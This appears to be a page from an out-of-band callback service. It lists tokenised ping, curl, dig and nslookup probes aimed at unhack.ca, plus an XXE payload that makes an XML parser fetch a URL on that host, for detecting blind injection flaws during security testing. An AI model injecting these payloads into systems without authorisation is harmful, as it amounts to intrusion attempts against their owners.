$ ping -c1 -p 0027fa76ee134da1c796604e56e5a600 unhack.ca
 

$ curl http://unhack.ca/p/27fa76ee134da1c796604e56e5a6
 

$ dig 27fa76ee134da1c796604e56e5a6 @unhack.ca
 

$ dig 27fa76ee134da1c796604e56e5a6.ns.unhack.ca
 

C:\> nslookup 27fa76ee134da1c796604e56e5a6 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/27fa76ee134da1c796604e56e5a6">]>
    <foo>&xxe;</foo>